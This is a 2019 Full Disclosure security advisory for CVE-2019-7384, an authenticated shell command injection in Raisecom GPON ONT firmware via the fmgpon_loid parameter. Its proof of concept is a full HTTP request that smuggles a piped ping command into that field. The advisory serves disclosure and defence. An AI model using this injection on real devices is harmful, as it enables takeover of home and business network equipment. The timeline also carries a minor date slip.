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Date: Tue, 12 Feb 2019 14:41:51 +0530 From: Kingkaustubh via Fulldisclosure <fulldisclosure@...lists.org> To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com Subject: [FD] KSA-Dev-005:CVE-2019-7384: Authenticated Remote Code Execution in Raisecom GPON Devices ===================================== Authenticated Shell Command Injection ===================================== . contents:: Table Of Content Overview ======== Title:- Authenticated Shell command Injection Author: Kaustubh G. Padwad CVE ID: CVE-2019-7384. Vendor: Raisecom technology co.,LTD Product: GPON-ONU HT803G-07 (could be more who shares the same codebase) Potentially vulnerable ISCOM HT803G-U ISCOM HT803G-W ISCOM HT803G-1GE ISCOM HT803G Tested Version: : ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 Severity: High--Critical Advisory ID ============ KSA-Dev-005 About the Product: ================== The Raisecom GPON optical network terminal (ONT) series provides a flexible mix of residential access services including high speed data, IPTV, voice and CATV services compliant with the ITU-T G.984 standard. In particular, the Raisecom ONUs are designed for Ethernet data services, voice over IP, IPTV, CATV, wireless router accessing and convenient USB2.0 home network storage connections for various application scenarios, such as residential triple-play service and business connections. The GPON ONT series offer flexible choices in terms of downlink types and numbers, such as, GE/FE auto-adapting Ethernet ports, POTS (FXS) interfaces, RF port and WiFi function compliant with IEEE 802.11b/g/n. All GPON FTTX ONUs offer advanced end-to-end management and monitoring functionality, and the GPON series can be managed under the Raisecom NView platform. Description: ============ An authenticated shell command injection issue has been discovered in Raisecom ISCOM HT803G-U, HT803G-W, HT803G-1GE, and HT803G GPON products with the firmware version ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 or below. The value of the fmgpon_loid parameter is used in a system call inside the boa binary. Because there is no user input validation, this leads to authenticated code execution on the device. Additional_information ====================== The value of fmgpon_loid parameter is parse to system call in implimentation of application code inside boa binary and since their is no user input validation this leads to authenticated code execution on device Vulnerability Class: ==================== Authenticated Shell Command Injection Attack Type =========== Local Impact Code execution ===================== true Attack Vectors ============== To exploit this vulnerability one must have to visit the crafted page or have to parse the proper crafted request to the device How to Reproduce: (POC): ======================== POST /boaform/admin/formgponConf HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/gpon.asp Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 162 fmgpon_loid=%7c%20ping%20-n%2013%20127%2e0%2e0%2e1%20%7c&fmgpon_loid_password=raisecom&fmgpon_ploam_password=1234567890&apply=Apply+Changes&submit-url=%2Fgpon.asp Mitigation ========== This issue is fixed in latest firmware as per vendor. Disclosure: =========== 28-NOV-2018 Discoverd the Vulnerability 28-NOV-2018 Reported to vendor 10-Dec-2018 Recived confirmation from vendor regarding fix 04-JAN-2019 Request for the CVE-ID 04-FEB-2018: CVE assigned credits: ======== * Kaustubh Padwad * Information Security Researcher * kingkaustubh@...com * https://s3curityb3ast.github.io/ * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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